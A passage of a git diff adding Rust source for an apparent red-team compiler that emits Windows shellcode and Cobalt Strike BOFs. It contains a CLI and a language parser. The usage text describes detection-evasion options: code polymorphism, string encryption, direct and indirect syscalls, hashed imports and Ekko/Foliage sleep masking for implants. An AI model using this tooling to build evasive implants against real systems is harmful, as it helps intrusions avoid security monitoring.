v.loc, v.line_start, end + )); + } + } + out +} + + +fn parse_gc_mode(arg: &str) -> Result { + match arg { + "auto" => Ok(codegen::GcMode::Auto), + "on" => Ok(codegen::GcMode::On), + "off" => Ok(codegen::GcMode::Off), + "manual" | "unsafe" => Ok(codegen::GcMode::Manual), + other => Err(format!( + "--gc value must be auto|on|off|manual (got `{other}`)" + )), + } +} + +fn parse_build_kind(arg: &str) -> Result { + match arg { + "standard" | "bin" => Ok(codegen::BuildKind::Standard), + "bof" => Ok(codegen::BuildKind::Bof), + "coff" => Ok(codegen::BuildKind::Coff), + other => Err(format!("--type value must be standard|bof|coff (got `{other}`)")), + } +} + +fn dump_hex(bytes: &[u8]) { + let mut stdout = std::io::stdout().lock(); + for (i, chunk) in bytes.chunks(16).enumerate() { + let _ = write!(stdout, "{:08x} ", i * 16); + for b in chunk { let _ = write!(stdout, "{b:02x} "); } + for _ in chunk.len()..16 { let _ = write!(stdout, " "); } + let _ = write!(stdout, " |"); + for &b in chunk { + let c = if (0x20..0x7e).contains(&b) { b as char } else { '.' }; + let _ = write!(stdout, "{c}"); + } + let _ = writeln!(stdout, "|"); + } +} + +fn default_output(input: &str) -> String { + let p = std::path::Path::new(input); + let stem = p.file_stem().and_then(|s| s.to_str()).unwrap_or("a"); + let parent = p.parent(); + let bin_dir = match parent { + Some(d) if !d.as_os_str().is_empty() => d.join("bin"), + _ => std::path::PathBuf::from("bin"), + }; + bin_dir.join(format!("{stem}.bin")).to_string_lossy().to_string() +} + +fn ensure_parent_dir(out: &str) -> Result<(), String> { + if let Some(parent) = std::path::Path::new(out).parent() { + if !parent.as_os_str().is_empty() && !parent.exists() { + fs::create_dir_all(parent) + .map_err(|e| format!("create_dir_all {}: {e}", parent.display()))?; + } + } + Ok(()) +} + +fn output_stem(out: &str) -> String { + if let Some(s) = out.strip_suffix(".x64.o") { return s.to_string(); } + if let Some(s) = out.strip_suffix(".x86.o") { return s.to_string(); } + out.trim_end_matches(".bin") + .trim_end_matches(".obj") + .trim_end_matches(".coff") + .to_string() +} + +fn run() -> Result<(), String> { + let args: Vec = env::args().collect(); + if args.len() < 3 { + // Strip argv[0] to its basename so the usage line reads + // entc.exe compile ... instead of leaking the full path. + let prog = std::path::Path::new(&args[0]) + .file_name() + .and_then(|s| s.to_str()) + .unwrap_or("entc"); + let ext = SRC_EXT; + eprintln!("Entropia compiler - Windows x86-64 PIC / BOF code generator"); + eprintln!("Copyright (c) EntropyKit\n"); + eprintln!("USAGE"); + eprintln!(" {prog} compile [options]"); + eprintln!(" {prog} dump [options]\n"); + eprintln!("OUTPUT"); + eprintln!(" -o output file. Defaults land in `/bin/`:"); + eprintln!(" example/foo.etpy to example/bin/foo.bin"); + eprintln!(" Extension follows the build kind: .bin for"); + eprintln!(" shellcode, .x64.o for --type=bof, .obj for --type=coff."); + eprintln!(" Sidecar files (`.dbg`, `.cna`) live alongside the"); + eprintln!(" artifact. `-o ` is honoured verbatim - pass an"); + eprintln!(" explicit path to bypass the `bin/` subdirectory."); + eprintln!(" --debug, -g emit a `.dbg` sidecar with source-line + var"); + eprintln!(" breadcrumbs for the VS Code adapter (F5/F9).\n"); + eprintln!("BUILD KIND"); + eprintln!(" --type=standard|bin raw PIC shellcode `.bin` (default)."); + eprintln!(" --type=bof Cobalt Strike BOF `.x64.o` (COFF). Entry is"); + eprintln!(" `fn go(args, len)`; uses Beacon API."); + eprintln!(" --type=coff generic Windows COFF `.obj`, no Beacon-API assumptions.\n"); + eprintln!("RUNTIME"); + eprintln!(" --gc=auto emit GC runtime iff `mem.alloc` is used (default)."); + eprintln!(" --gc=on always emit (for dynamic / inline-asm callers)."); + eprintln!(" --gc=off never emit; `mem.alloc` becomes a compile error."); + eprintln!(" --gc=manual|unsafe no GC runtime; `mem.alloc` and `mem.free` lower"); + eprintln!(" to direct HeapAlloc/HeapFree through the process"); + eprintln!(" heap. Operator is responsible for matching pairs.\n"); + eprintln!("OPSEC (--opsec=, comma-separated; flags accumulate)"); + eprintln!(" poly same-length instruction-substitution pass (xor/sub, mov"); + eprintln!(" MR/RM/lea, test/or/and, NOP-run re-decompose). Reloc-aware."); + eprintln!(" poly=deep all of `poly` PLUS length-changing equivalent code"); + eprintln!(" expansion (xor reg,reg rewrites as and reg,0, mov reg,0,"); + eprintln!(" or nop; xor). Defeats semantic-normalising matchers."); + eprintln!(" strings_xor XOR-encrypt .rdata/.data with a per-build key."); + eprintln!(" Standard shellcode only; silently skipped for BOF"); + eprintln!(" (loader maps .rdata read-only)."); + eprintln!(" nop_sled 0..=64 B multi-byte NOP at the entry function,"); + eprintln!(" 0..=16 B at every other function. Shifts offsets"); + eprintln!(" so whole-binary fuzzy hashes drift per build."); + eprintln!(" direct_syscalls auto-include stdlib/opsec/direct_syscall.etpy so"); + eprintln!(" every Ntdll.X(...) dispatches via `syscall` inside"); + eprintln!(" our own code region."); + eprintln!(" indirect_syscalls auto-include stdlib/opsec/indirect_syscall.etpy so"); + eprintln!(" Ntdll.X(...) jumps to a `syscall;ret` gadget INSIDE"); + eprintln!(" ntdll. Mutually exclusive with direct_syscalls."); + eprintln!(" hashed_imports BOF only: drop `__imp_LIB$Func` external symbols"); + eprintln!(" from the COFF. Win32 imports resolved at runtime"); + eprintln!(" via PEB-walk + LoadLibraryA + GetProcAddress. Beacon"); + eprintln!(" API (`Beacon*`) stays on the standard external path."); + eprintln!(" stack_strings rebuild short string literals on the stack at runtime"); + eprintln!(" (`mov [rsp+N], imm64` runs) instead of pointing at"); + eprintln!(" `.rdata`. Defeats `strings`-based triage. Composes"); + eprintln!(" with `strings_xor` - stack-built strings are excluded"); + eprintln!(" from the XOR pool."); + eprintln!(" sleep_mask= auto-include a `[Hook(\"KERNEL32$Sleep\")]` template"); + eprintln!(" that encrypts the implant region across the wait."); + eprintln!(" Variants:"); + eprintln!(" simple XOR + real Sleep (smallest, weakest)."); + eprintln!(" ekko XOR + VirtualProtect RX to RW + sleep via"); + eprintln!(" WaitForSingleObject. Call stack at scan"); + eprintln!(" time shows a wait frame, not a Sleep"); + eprintln!(" frame - the Ekko signature trick."); + eprintln!(" foliage XOR + VirtualProtect flip + sleep via"); + eprintln!(" NtDelayExecution. Pairs with"); + eprintln!(" --opsec=direct_syscalls so the syscall"); + eprintln!(" comes out of our own code region."); + eprintln!(" Skipped if the source already has a"); + eprintln!(" `[Hook(\"KERNEL32$Sleep\")]` - operator's mask wins."); + eprintln!(" all every technique above. Does NOT pick a sleep_mask"); + eprintln!(" variant - masks are implant-specific."); + eprintln!(" none explicit no-op.\n"); + eprintln!(" --seed=|0x|random"); + eprintln!(" RNG seed driving every randomised pass. Same seed to "); + eprintln!(" byte-identical output. Default: system-time nanos.\n"); + eprintln!("EXAMPLES"); + eprintln!(" {prog} compile example/asm_demo.etpy --opsec=all --seed=42"); + eprintln!(" {prog} compile example/bof_pslist.etpy --type=bof --opsec=all"); + eprintln!(" {prog} compile prog.etpy --type=bof --opsec=poly,nop_sled,direct_syscalls"); + return Err("missing args".into()); + } + match args[1].as_str() { + "compile" => { + let inp = &args[2]; + let mut out = default_output(inp); + let mut gc_mode = codegen::GcMode::Auto; + let mut kind = codegen::BuildKind::Standard; + let mut emit_dbg = false; + let mut opsec = polymorphism::OpsecConfig::default(); + let mut i = 3; + while i < args.len() { + let a = &args[i]; + if a == "-o" && i + 1 < args.len() { + out = args[i+1].clone(); i += 2; + } else if let Some(v) = a.strip_prefix("--gc=") { + gc_mode = parse_gc_mode(v)?; i += 1; + } else if let Some(v) = a.strip_prefix("--type=") { + kind = parse_build_kind(v)?; i += 1; + } else if a == "--type" && i + 1 < args.len() { + kind = parse_build_kind(&args[i+1])?; i += 2; + } else if let Some(v) = a.strip_prefix("--opsec=") { + let new_cfg = polymorphism::OpsecConfig::parse(v)?; + opsec.poly |= new_cfg.poly; + opsec.poly_deep |= new_cfg.poly_deep; + opsec.reorder_functions |= new_cfg.reorder_functions; + if new_cfg.junk_level > opsec.junk_level { + opsec.junk_level = new_cfg.junk_level; + } + opsec.strings_xor |= new_cfg.strings_xor; + opsec.stack_strings |= new_cfg.stack_strings; + opsec.nop_sled |= new_cfg.nop_sled; + opsec.direct_syscalls |= new_cfg.direct_syscalls; + opsec.indirect_syscalls |= new_cfg.indirect_syscalls; + opsec.hashed_imports |= new_cfg.hashed_imports; + if new_cfg.sleep_mask != polymorphism::SleepMaskVariant::None { + opsec.sleep_mask = new_cfg.sleep_mask; + } + // Same "indirect wins" disambiguation as + // OpsecConfig::parse: both occupy the NtCall + // override slot, so we keep at most one. + if opsec.indirect_syscalls { + opsec.direct_syscalls = false; + } + i += 1; + } else if let Some(v) = a.strip_prefix("--seed=") { + opsec.seed = Some(polymorphism::OpsecConfig::parse_seed(v)?); + i += 1; + } else if a == "--debug" || a == "-g" { + emit_dbg = true; i += 1; + } else { + return Err(format!("unknown arg: {a}")); + } + } + if out.ends_with(".bin") { + let stem = out.trim_end_matches(".bin"); + out = match kind { + codegen::BuildKind::Standard => out.clone(), + codegen::BuildKind::Bof => format!("{stem}.x64.o"), + codegen::BuildKind::Coff => format!("{stem}.obj"), + }; + } + let blob = compile(inp, gc_mode, kind, opsec.clone())?; + ensure_parent_dir(&out)?; + fs::write(&out, &blob.code).map_err(|e| e.to_string())?; + let kind_str = match kind { + codegen::BuildKind::Standard => "shellcode", + codegen::BuildKind::Bof => "BOF (COFF .x64.o)", + codegen::BuildKind::Coff => "COFF .obj", + }; + let opsec_suffix = if opsec.any() { + let mut techniques = Vec::::new(); + if opsec.poly { techniques.push("poly".into()); } + if opsec.poly_deep { techniques.push("poly=deep".into()); } + if opsec.junk_level > 0 { techniques.push(format!("junk={}", opsec.junk_level)); } + if opsec.reorder_functions { techniques.push("reorder".into()); } + if opsec.strings_xor { techniques.push("strings_xor".into()); } + if opsec.stack_strings { techniques.push("stack_strings".into()); } + if opsec.nop_sled { techniques.push("nop_sled".into()); } + if opsec.direct_syscalls { techniques.push("direct_syscalls".into()); } + if opsec.indirect_syscalls { techniques.push("indirect_syscalls".into()); } + if opsec.hashed_imports { techniques.push("hashed_imports".into()); } + if opsec.sleep_mask != polymorphism::SleepMaskVariant::None { + techniques.push(format!("sleep_mask={}", opsec.sleep_mask.name())); + } + format!(", opsec=[{}]", techniques.join(",")) + } else { + String::new() + }; + eprintln!("wrote {} ({} bytes, {}{})", + out, blob.code.len(), kind_str, opsec_suffix); + if emit_dbg { + let stem = output_stem(&out); + let dbg_path = format!("{stem}.dbg"); + let dbg = format_dbg(inp, &blob.dbg_marks, &blob.dbg_vars); + ensure_parent_dir(&dbg_path)?; + fs::write(&dbg_path, dbg).map_err(|e| e.to_string())?; + eprintln!("wrote {} ({} entries)", dbg_path, blob.dbg_marks.len()); + } + if let Some(cna) = &blob.cna_script { + let stem = output_stem(&out); + let cna_path = format!("{stem}.cna"); + ensure_parent_dir(&cna_path)?; + fs::write(&cna_path, cna).map_err(|e| e.to_string())?; + eprintln!("wrote {} ({} bytes, Aggressor script)", + cna_path, cna.len()); + } + } + "dump" => { + let mut gc_mode = codegen::GcMode::Auto; + let mut i = 3; + while i < args.len() { + let a = &args[i]; + if let Some(v) = a.strip_prefix("--gc=") { + gc_mode = parse_gc_mode(v)?; i += 1; + } else { + return Err(format!("unknown arg: {a}")); + } + } + let blob = compile(&args[2], gc_mode, codegen::BuildKind::Standard, + polymorphism::OpsecConfig::default())?; + dump_hex(&blob.code); + eprintln!("total {} bytes", blob.code.len()); + } + other => return Err(format!("unknown subcommand: {other}")), + } + Ok(()) +} + +fn main() -> ExitCode { + match run() { + Ok(()) => ExitCode::SUCCESS, + Err(e) => { eprintln!("error: {e}"); ExitCode::FAILURE } + } +} diff --git a/src/parser.rs b/src/parser.rs new file mode 100644 index 0000000..32c7080 --- /dev/null +++ b/src/parser.rs @@ -0,0 +1,1045 @@ +// SPDX-License-Identifier: Apache-2.0 +//! Recursive-descent parser. + +use std::cell::RefCell; +use std::collections::HashSet; +use std::path::{Path, PathBuf}; +use std::rc::Rc; + +use crate::asm::{parse_asm_line, AsmBody, AsmLine}; +use crate::ast::*; +use crate::cimport; +use crate::lexer::{self, Tok, Token}; + +fn resolve_stdlib_import(importer: &Path, name: &str) -> Option { + let importer_dir = importer.parent()?; + let mut candidates: Vec = vec![format!("{name}.etpy")]; + if let Some(idx) = name.find('_') { + let (head, tail_with_us) = name.split_at(idx); + let tail = &tail_with_us[1..]; // skip the underscore + candidates.push(format!("{head}/{tail}.etpy")); + } + candidates.push(format!("opsec/{name}.etpy")); + + let mut cursor = importer_dir.to_path_buf(); + loop { + for sub in &candidates { + let candidate = cursor.join("stdlib").join(sub); + if candidate.exists() { + let rel = pathdiff_relative(&candidate, importer_dir) + .unwrap_or(candidate); + return Some(rel.to_string_lossy().to_string()); + } + } + match cursor.parent() { + Some(p) if p != cursor => cursor = p.to_path_buf(), + _ => return None, + } + } +} + +/// dst relative to base (both absolute, or both relative to the +/// same anchor). Inline replacement for the pathdiff crate. +fn pathdiff_relative(dst: &Path, base: &Path) -> Option { + use std::path::Component; + let d: Vec<_> = dst.components().collect(); + let b: Vec<_> = base.components().collect(); + let mut common = 0; + while common < d.len() && common < b.len() && d[common] == b[common] { + common += 1; + } + let mut out = PathBuf::new(); + for _ in &b[common..] { + out.push(".."); + } + for c in &d[common..] { + match c { + Component::Normal(s) => out.push(s), + Component::RootDir | Component::Prefix(_) | Component::CurDir | Component::ParentDir => { + out.push(c.as_os_str()); + } + } + } + if out.as_os_str().is_empty() { None } else { Some(out) } +} + +/// Sized-integer aliases. These are always valid as cast targets regardless +/// of whether the source declared anything by that name. +fn is_sized_int_name(s: &str) -> bool { + matches!(s, "i8" | "i16" | "i32" | "i64" | "u8" | "u16" | "u32" | "u64") +} + +pub struct Parser { + toks: Vec, + pos: usize, + type_names: HashSet, + /// Absolute path of this parser's source file. use resolves + /// relative to this directory. + source_path: PathBuf, + /// Canonical paths already pulled in. Shared across recursive + /// use so cycle detection is global. + imported: Rc>>, +} + +impl Parser { + /// Root parser. Seeds imported with the source file's own path + /// so a transitive use of it is a silent no-op. + pub fn new(toks: Vec, source_path: impl AsRef) -> Self { + let imported = Rc::new(RefCell::new(HashSet::new())); + let p = source_path.as_ref().to_path_buf(); + if let Ok(canon) = std::fs::canonicalize(&p) { + imported.borrow_mut().insert(canon); + } + Self { + toks, + pos: 0, + type_names: HashSet::new(), + source_path: p, + imported, + } + } + + /// Child parser for use expansion. Shares imported with the parent. + fn new_child( + toks: Vec, + source_path: PathBuf, + imported: Rc>>, + ) -> Self { + Self { + toks, + pos: 0, + type_names: HashSet::new(), + source_path, + imported, + } + } + + fn peek(&self) -> &Tok { &self.toks[self.pos].kind } + fn peek_tok(&self) -> &Token { &self.toks[self.pos] } + fn advance(&mut self) -> Tok { let k = self.toks[self.pos].kind.clone(); self.pos += 1; k } + fn check(&self, k: &Tok) -> bool { std::mem::discriminant(self.peek()) == std::mem::discriminant(k) } + fn matches(&mut self, k: &Tok) -> bool { + if self.check(k) { self.advance(); true } else { false } + } + fn expect(&mut self, k: &Tok, what: &str) -> Result { + if self.check(k) { Ok(self.advance()) } + else { + let t = self.peek_tok(); + Err(format!("parse error at {}:{}: expected {what}, got {:?}", t.line, t.col, t.kind)) + } + } + fn eat_ident(&mut self) -> Result { + if let Tok::Ident(s) = self.peek().clone() { self.advance(); Ok(s) } + else { + let t = self.peek_tok(); + Err(format!("parse error at {}:{}: expected identifier", t.line, t.col)) + } + } + + pub fn parse_program(&mut self) -> Result { + let mut p = Program::default(); + while !self.check(&Tok::Eof) { + // Collect attributes first; check that the next item is + // one that accepts them (fn or struct). + let attrs = self.parse_attrs()?; + match self.peek() { + Tok::Fn | Tok::Extern => { + let mut f = self.parse_fn()?; + f.attrs = attrs; + p.functions.push(f); + } + Tok::Struct => { + let mut s = self.parse_struct()?; + s.attrs = attrs; + self.type_names.insert(s.name.clone()); + p.structs.push(s); + } + _ if !attrs.is_empty() => { + let t = self.peek_tok(); + return Err(format!( + "parse error at {}:{}: attributes only apply to `fn` or `struct` declarations", + t.line, t.col + )); + } + Tok::Static => p.statics.push(self.parse_static()?), + Tok::Enum => { + let e = self.parse_enum()?; + self.type_names.insert(e.name.clone()); + p.enums.push(e); + } + Tok::UseC => self.parse_use_c_into(&mut p)?, + Tok::Use => self.parse_use_into(&mut p)?, + _ => { + let t = self.peek_tok(); + return Err(format!( + "parse error at {}:{}: expected `fn`, `extern fn`, `static`, `struct`, `enum`, `use_c`, or `use`", + t.line, t.col + )); + } + } + } + Ok(p) + } + + fn parse_attrs(&mut self) -> Result, String> { + let mut out = Vec::new(); + while self.check(&Tok::LBrack) { + self.advance(); + let kind = self.eat_ident()?; + let arg = if self.matches(&Tok::LParen) { + let name = match self.peek().clone() { + Tok::Str(s) => { self.advance(); s } + Tok::Ident(s) => { self.advance(); s } + _ => { + let t = self.peek_tok(); + return Err(format!( + "parse error at {}:{}: attribute argument must be \ + an identifier or string literal", + t.line, t.col + )); + } + }; + self.expect(&Tok::RParen, "`)`")?; + Some(name) + } else { + None + }; + self.expect(&Tok::RBrack, "`]`")?; + out.push(Attr { kind, arg }); + } + Ok(out) + } + + fn parse_use_c_into(&mut self, prog: &mut Program) -> Result<(), String> { + let here = self.peek_tok().clone(); + self.expect(&Tok::UseC, "`use_c`")?; + let rel_path = match self.peek().clone() { + Tok::Str(s) => { self.advance(); s } + _ => return Err(format!( + "parse error at {}:{}: expected string literal path after `use_c`", + here.line, here.col + )), + }; + self.expect(&Tok::Semi, "`;`")?; + + let dir = self.source_path.parent().unwrap_or_else(|| Path::new(".")); + let candidate = dir.join(&rel_path); + let resolved = if candidate.exists() { + candidate + } else { + PathBuf::from(&rel_path) + }; + let resolved_str = resolved.to_string_lossy().to_string(); + + let imported = cimport::parse_header(&resolved_str)?; + for s in &imported.structs { + self.type_names.insert(s.name.clone()); + } + prog.structs.extend(imported.structs); + prog.statics.extend(imported.statics); + Ok(()) + } + + fn parse_use_into(&mut self, prog: &mut Program) -> Result<(), String> { + let here = self.peek_tok().clone(); + self.expect(&Tok::Use, "`use`")?; + + let rel_path = match self.peek().clone() { + Tok::Str(s) => { self.advance(); s } + Tok::Ident(name) => { + self.advance(); + resolve_stdlib_import(&self.source_path, &name) + .ok_or_else(|| format!( + "use `{name}`: no stdlib module found. \ + Expected to find `stdlib/{name}.etpy` walking \ + up from {}.", + self.source_path.display() + ))? + } + _ => return Err(format!( + "parse error at {}:{}: expected `\"path\"` or stdlib name after `use`", + here.line, here.col + )), + }; + self.expect(&Tok::Semi, "`;`")?; + + // Resolve relative to the importing file's directory. + let dir = self.source_path.parent().unwrap_or_else(|| Path::new(".")); + let abs = dir.join(&rel_path); + let canon = std::fs::canonicalize(&abs) + .map_err(|e| format!( + "use \"{rel_path}\": {} ({})", + e, + abs.display(), + ))?; + + // Dedupe + cycle break. + if !self.imported.borrow_mut().insert(canon.clone()) { + return Ok(()); + } + + // Parse the imported file. Use new_child so the child shares our + // imported-paths set - any use it does dedupes globally. + let src = std::fs::read_to_string(&canon) + .map_err(|e| format!("use \"{rel_path}\": {e}"))?; + let tokens = lexer::tokenize(&src)?; + let mut child = Parser::new_child(tokens, canon.clone(), self.imported.clone()); + let sub = child.parse_program() + .map_err(|e| format!("in `use \"{rel_path}\"`: {e}"))?; + + // Merge. Struct + enum names get registered in our own + // type_names set so subsequent casts / declarations in + // this file can refer to them. + for s in &sub.structs { + self.type_names.insert(s.name.clone()); + } + for e in &sub.enums { + self.type_names.insert(e.name.clone()); + } + prog.structs.extend(sub.structs); + prog.statics.extend(sub.statics); + prog.functions.extend(sub.functions); + prog.enums.extend(sub.enums); + Ok(()) + } + + fn parse_type(&mut self) -> Result { + let mut ty = match self.peek().clone() { + Tok::Int_ => { self.advance(); "int".to_string() } + Tok::Str_ => { self.advance(); "str".to_string() } + Tok::Wstr_ => { self.advance(); "wstr".to_string() } + Tok::Bool_ => { self.advance(); "bool".to_string() } + Tok::Void_ => { self.advance(); "void".to_string() } + Tok::Char_ => { self.advance(); "u8".to_string() } + Tok::Ident(name) => { self.advance(); name } + _ => { + let t = self.peek_tok(); + return Err(format!("parse error at {}:{}: expected type", t.line, t.col)); + } + }; + while self.matches(&Tok::Star) { + ty.push('*'); + } + if self.matches(&Tok::LBrack) { + let n = match self.peek().clone() { + Tok::Int(n) if n >= 0 => { self.advance(); n } + _ => { + let t = self.peek_tok(); + return Err(format!( + "parse error at {}:{}: array size must be a non-negative integer literal", + t.line, t.col + )); + } + }; + self.expect(&Tok::RBrack, "`]`")?; + ty = format!("{ty}[{n}]"); + } + Ok(ty) + } + + fn parse_static(&mut self) -> Result { + self.expect(&Tok::Static, "`static`")?; + let name = self.eat_ident()?; + self.expect(&Tok::Colon, "`:`")?; + let ty = self.parse_type()?; + let init = if self.matches(&Tok::Assign) { + Some(self.parse_expr()?) + } else { + None + }; + self.expect(&Tok::Semi, "`;`")?; + Ok(StaticDecl { name, ty, init }) + } + + fn parse_struct(&mut self) -> Result { + self.expect(&Tok::Struct, "`struct`")?; + let name = self.eat_ident()?; + self.expect(&Tok::LBrace, "`{`")?; + let mut fields = Vec::new(); + while !self.check(&Tok::RBrace) { + let fname = self.eat_ident()?; + self.expect(&Tok::Colon, "`:`")?; + let fty = self.parse_type()?; + fields.push((fname, fty)); + if !self.matches(&Tok::Comma) { break; } + } + self.expect(&Tok::RBrace, "`}`")?; + Ok(StructDef { name, fields, is_union: false, attrs: Vec::new() }) + } + + fn parse_enum(&mut self) -> Result { + self.expect(&Tok::Enum, "`enum`")?; + let name = self.eat_ident()?; + self.expect(&Tok::LBrace, "`{`")?; + let mut variants: Vec<(String, i64)> = Vec::new(); + let mut next_value: i64 = 0; + while !self.check(&Tok::RBrace) { + let vname = self.eat_ident()?; + let value = if self.matches(&Tok::Assign) { + // Optional unary minus before the integer literal - + // enum Errno { OK = 0, OOM = -1 } should parse. + let negate = self.matches(&Tok::Minus); + let n = match self.peek().clone() { + Tok::Int(n) => { self.advance(); n } + _ => { + let t = self.peek_tok(); + return Err(format!( + "parse error at {}:{}: enum variant value must be an integer literal", + t.line, t.col + )); + } + }; + if negate { -n } else { n } + } else { + next_value + }; + variants.push((vname, value)); + next_value = value.wrapping_add(1); + if !self.matches(&Tok::Comma) { break; } + } + self.expect(&Tok::RBrace, "`}`")?; + // Trailing semicolon optional - mirrors the C-style }; + // habit without forcing it. + let _ = self.matches(&Tok::Semi); + Ok(crate::ast::EnumDecl { name, variants }) + } + + /// Used by the cast disambiguator: built-in keyword types and the + /// sized-int aliases. Struct names are excluded from cast types so we + /// don't need a symbol table at parse time. + fn try_take_cast_type(&mut self) -> Option { + let saved = self.pos; + let mut ty = match self.peek().clone() { + Tok::Int_ => "int".to_string(), + Tok::Str_ => "str".to_string(), + Tok::Wstr_ => "wstr".to_string(), + Tok::Bool_ => "bool".to_string(), + Tok::Void_ => "void".to_string(), + Tok::Char_ => "u8".to_string(), + Tok::Ident(s) if is_sized_int_name(&s) || self.type_names.contains(&s) => s, + _ => return None, + }; + self.advance(); + // Accept trailing *s - (u32*)x, (Beacon**)p, etc. + while self.matches(&Tok::Star) { + ty.push('*'); + } + if matches!(self.peek(), Tok::RParen) { + Some(ty) + } else { + self.pos = saved; + None + } + } + + fn parse_field_chain(&mut self, mut base: Expr) -> Result { + loop { + if self.check(&Tok::Dot) || self.check(&Tok::Arrow) { + self.advance(); + let field = self.eat_ident()?; + base = Expr::Field { base: Box::new(base), field }; + } else if self.matches(&Tok::LBrack) { + let index = self.parse_expr()?; + self.expect(&Tok::RBrack, "`]`")?; + base = Expr::Index { base: Box::new(base), index: Box::new(index) }; + } else { + break; + } + } + Ok(base) + } + + fn parse_call_args(&mut self) -> Result, String> { + let mut args = Vec::new(); + if !self.check(&Tok::RParen) { + args.push(self.parse_expr()?); + while self.matches(&Tok::Comma) { args.push(self.parse_expr()?); } + } + self.expect(&Tok::RParen, "`)`")?; + Ok(args) + } + + fn parse_fn(&mut self) -> Result { + let is_extern = self.matches(&Tok::Extern); + self.expect(&Tok::Fn, "`fn`")?; + let name = self.eat_ident()?; + self.expect(&Tok::LParen, "`(`")?; + let mut params = Vec::new(); + if !self.check(&Tok::RParen) { + loop { + let pn = self.eat_ident()?; + self.expect(&Tok::Colon, "`:`")?; + let pt = self.parse_type()?; + params.push(Param { name: pn, ty: pt }); + if !self.matches(&Tok::Comma) { break; } + } + } + self.expect(&Tok::RParen, "`)`")?; + self.expect(&Tok::Arrow, "`->`")?; + let ret_ty = self.parse_type()?; + let body = if is_extern { + self.expect(&Tok::Semi, "`;` (extern fn declarations have no body)")?; + Vec::new() + } else { + self.parse_block()? + }; + Ok(Function { name, params, ret_ty, body, attrs: Vec::new(), is_extern }) + } + + fn parse_block(&mut self) -> Result, String> { + self.expect(&Tok::LBrace, "`{`")?; + let mut body = Vec::new(); + while !self.check(&Tok::RBrace) { body.push(self.parse_stmt()?); } + self.expect(&Tok::RBrace, "`}`")?; + Ok(body) + } + + fn parse_stmt(&mut self) -> Result { + // Most statements end with ;; the parsing of the trailing + // semicolon is shared via parse_simple_stmt_no_semi. + match self.peek().clone() { + Tok::Var => self.parse_var(), + Tok::If => self.parse_if(), + Tok::While => self.parse_while(), + Tok::For => self.parse_for(), + Tok::Break => { + self.advance(); + self.expect(&Tok::Semi, "`;`")?; + Ok(Stmt::Break) + } + Tok::Continue => { + self.advance(); + self.expect(&Tok::Semi, "`;`")?; + Ok(Stmt::Continue) + } + Tok::Ret => self.parse_ret(), + Tok::Try => self.parse_try(), + Tok::Raise => self.parse_raise(), + Tok::Asm => self.parse_asm(), + _ => { + let s = self.parse_simple_stmt_no_semi()?; + self.expect(&Tok::Semi, "`;`")?; + Ok(s) + } + } + } + + fn parse_simple_stmt_no_semi(&mut self) -> Result { + let here = self.peek_tok().clone(); + let span = Span::new(here.line, here.col); + let lhs = self.parse_expr()?; + // Postfix ++ / -- - desugar to lhs = lhs +/- 1. + if self.matches(&Tok::PlusPlus) { + return Ok(Stmt::Expr { + value: Self::make_compound_assign(lhs, "+", Expr::Int(1))?, + span, + }); + } + if self.matches(&Tok::MinusMinus) { + return Ok(Stmt::Expr { + value: Self::make_compound_assign(lhs, "-", Expr::Int(1))?, + span, + }); + } + // x OP= rhs - desugar to x = x OP rhs. + let op = if self.matches(&Tok::PlusEq) { Some("+") } + else if self.matches(&Tok::MinusEq) { Some("-") } + else if self.matches(&Tok::StarEq) { Some("*") } + else if self.matches(&Tok::SlashEq) { Some("/") } + else if self.matches(&Tok::PercentEq) { Some("%") } + else if self.matches(&Tok::AmpEq) { Some("&") } + else if self.matches(&Tok::PipeEq) { Some("|") } + else if self.matches(&Tok::CaretEq) { Some("^") } + else if self.matches(&Tok::ShlEq) { Some("<<") } + else if self.matches(&Tok::ShrEq) { Some(">>") } + else { None }; + if let Some(op) = op { + let rhs = self.parse_expr()?; + return Ok(Stmt::Expr { + value: Self::make_compound_assign(lhs, op, rhs)?, + span, + }); + } + Ok(Stmt::Expr { value: lhs, span }) + } + + fn make_compound_assign(lhs: Expr, op: &str, rhs: Expr) -> Result { + match lhs { + Expr::Var(name) => { + let new_val = Expr::Binary { + op: op.into(), + lhs: Box::new(Expr::Var(name.clone())), + rhs: Box::new(rhs), + }; + Ok(Expr::Assign { name, value: Box::new(new_val) }) + } + Expr::Field { base, field } => { + let read = Expr::Field { base: base.clone(), field: field.clone() }; + let new_val = Expr::Binary { + op: op.into(), + lhs: Box::new(read), + rhs: Box::new(rhs), + }; + Ok(Expr::FieldAssign { base, field, value: Box::new(new_val) }) + } + Expr::Unary { op: uop, operand } if uop == "*" => { + let read = Expr::Unary { op: "*".into(), operand: operand.clone() }; + let new_val = Expr::Binary { + op: op.into(), + lhs: Box::new(read), + rhs: Box::new(rhs), + }; + Ok(Expr::DerefAssign { ptr: operand, value: Box::new(new_val) }) + } + Expr::Index { base, index } => { + let read = Expr::Index { base: base.clone(), index: index.clone() }; + let new_val = Expr::Binary { + op: op.into(), + lhs: Box::new(read), + rhs: Box::new(rhs), + }; + Ok(Expr::IndexAssign { base, index, value: Box::new(new_val) }) + } + _ => Err("invalid target for `++`/`--` or compound assignment".into()), + } + } + + fn parse_var(&mut self) -> Result { + let here = self.peek_tok().clone(); + let span = Span::new(here.line, here.col); + self.advance(); + let name = self.eat_ident()?; + let ty = if self.matches(&Tok::Colon) { self.parse_type()? } else { "int".into() }; + // = is optional. Scalars without an initialiser are zeroed; struct + // locals are zero-filled in their entirety (the typical Win32 + // pattern is then to set the cb field and call the API). + let value = if self.matches(&Tok::Assign) { + Some(self.parse_expr()?) + } else { + None + }; + self.expect(&Tok::Semi, "`;`")?; + Ok(Stmt::Var { name, ty, value, span }) + } + + fn parse_for(&mut self) -> Result { + self.expect(&Tok::For, "`for`")?; + // init clause - ; means empty. + let init = if self.matches(&Tok::Semi) { + None + } else if self.check(&Tok::Var) { + Some(Box::new(self.parse_var()?)) // parse_var consumes its own `;` + } else { + let s = self.parse_simple_stmt_no_semi()?; + self.expect(&Tok::Semi, "`;`")?; + Some(Box::new(s)) + }; + // cond clause - empty means infinite (no test). + let cond = if self.check(&Tok::Semi) { + None + } else { + Some(self.parse_expr()?) + }; + self.expect(&Tok::Semi, "`;`")?; + // step clause - empty means no per-iteration step. Stops at {. + let step = if self.check(&Tok::LBrace) { + None + } else { + Some(Box::new(self.parse_simple_stmt_no_semi()?)) + }; + let body = self.parse_block()?; + Ok(Stmt::For { init, cond, step, body }) + } + + fn parse_if(&mut self) -> Result { + self.advance(); + let cond = self.parse_expr()?; + let then_body = self.parse_block()?; + let mut else_body = Vec::new(); + if self.matches(&Tok::Else) { + if self.check(&Tok::If) { else_body.push(self.parse_if()?); } + else 